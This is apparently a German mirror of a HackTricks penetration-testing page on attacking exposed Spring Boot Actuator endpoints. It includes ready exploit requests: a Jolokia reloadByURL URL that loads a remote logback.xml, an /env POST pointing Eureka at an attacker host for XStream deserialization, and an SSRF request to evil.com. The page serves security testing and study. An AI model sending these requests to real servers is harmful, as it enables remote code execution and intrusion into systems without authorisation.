mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
4.7 KiB
4.7 KiB
Spring Actuators
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Spring Auth Bypass
Von https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Ausnutzen von Spring Boot Actuators
Überprüfen Sie den Originalbeitrag von [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Schlüsselpunkte:
- Spring Boot Actuators registrieren Endpunkte wie
/health
,/trace
,/beans
,/env
usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur/health
und/info
nicht sensitiv, aber Entwickler deaktivieren diese Sicherheit oft. - Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen ermöglichen:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
und/heapdump
.- In Spring Boot 1.x sind Actuators unter der Stamm-URL registriert, während sie in 2.x unter dem Basispfad
/actuator/
stehen.
Ausbeutungstechniken:
- Remote Code Execution über '/jolokia':
- Der
/jolokia
-Actuator-Endpunkt gibt die Jolokia-Bibliothek frei, die HTTP-Zugriff auf MBeans ermöglicht. - Die Aktion
reloadByURL
kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL neu zu laden, was zu blindem XXE oder Remote Code Execution über speziell erstellte XML-Konfigurationen führen kann. - Beispiel-Exploit-URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Konfigurationsänderung über '/env':
- Wenn Spring Cloud Libraries vorhanden sind, ermöglicht der Endpunkt
/env
die Änderung von Umgebungseigenschaften. - Eigenschaften können manipuliert werden, um Schwachstellen auszunutzen, wie die XStream-Deserialisierungsschwachstelle im Eureka-ServiceURL.
- Beispiel-Exploit-POST-Anfrage:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Weitere nützliche Einstellungen:
- Eigenschaften wie
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
undspring.datasource.tomcat.max-active
können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder Änderung von Datenbankverbindungszeichenfolgen.
Zusätzliche Informationen:
- Eine umfassende Liste der Standard-Actuators finden Sie hier.
- Der Endpunkt
/env
in Spring Boot 2.x verwendet JSON-Format für die Eigenschaftsänderung, aber das allgemeine Konzept bleibt dasselbe.
Verwandte Themen:
- Env + H2 RCE:
- Details zur Ausnutzung der Kombination aus
/env
-Endpunkt und H2-Datenbank finden Sie hier.
- SSRF auf Spring Boot durch falsche Interpretation des Pfadnamens:
- Die Behandlung von Matrixparametern (
;
) im HTTP-Pfadnamen des Spring-Frameworks kann für Server-seitige Anfragenfälschung (SSRF) ausgenutzt werden. - Beispiel-Exploit-Anfrage:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close